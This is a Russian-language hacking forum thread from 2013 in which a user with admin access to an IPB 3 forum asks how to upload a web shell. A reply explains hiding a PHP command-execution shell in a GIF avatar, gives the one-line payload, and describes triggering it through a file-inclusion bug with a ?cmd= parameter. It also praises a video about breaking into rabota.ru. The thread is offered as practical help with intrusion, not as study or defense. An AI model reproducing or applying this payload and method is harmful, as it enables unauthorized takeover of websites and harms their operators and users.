Ipb

[Ne3na1ka 17]

Есть доступ к админке в IPB 3

Как залить туда shell

 

 

Если будет скажите как будут новые шары

 

 

 

Дам на пиво

 

ICQ 369645824

 

Skype:game_x24

Изменено 24 января, 2013 пользователем Ne3na1ka

[BooGiMaN 14]

Есть доступ к админке в IPB 3

Как залить туда shell

 

 

Если будет скажите как будут новые шары

 

Вы форумом немного ошиблись вам на жук

[Ne3na1ka 17]

Да я вкурсах может тут кто-то подскажет)

[stasuk25 17]

Там где заливать шаблон, выбери шелл и попробуй залить, либо же ищи каким еще методом можно залить, на сколько знаю можно через админку аватар менять, ну изменяем картинку в ней пишем шелл, далее заливаем ее как аватар, и можно творить чудо

С тебя ++

Изменено 24 января, 2013 пользователем stasuk25

[Ne3na1ka 17]

разве через аватар можно залить .php файл?

[stasuk25 17]

Сохраняешь рисунок в *.gif, затем открываем её блокнотом и в самый конец каракулей. с новой строки пишем shell-code. Самый простой -

<?php system($_GET["cmd"]); ?>

Заливаем картинку на сайт(в качестве аватара) и если имеется уязвимость типа php-including инклудим картинку и получаем шелл. Сейчас очень тяжело найти сайт корый не фильтровал бы содержимое аватара и содержал бы в себе багу php-including'а. Если тебя заинтересовала это тема советую посмотреть видео - взлом rabota.ru, там через как я понял смежный сайт - ucheba.ru ломается rabota.ru и всё это с использованием инклуда и боевой аватары!

Все сылки НЕ РЕКЛАМА в качестве помочь создателю темы!

[Ne3na1ka 17]

картинку загрузил

 

как это сделать php-including инклудим картинку и получаем шелл

[stasuk25 17]

Узнай путь к картинке, затем вставь ее в новом окне и допиши после .gif?cmd= и сделай что надо.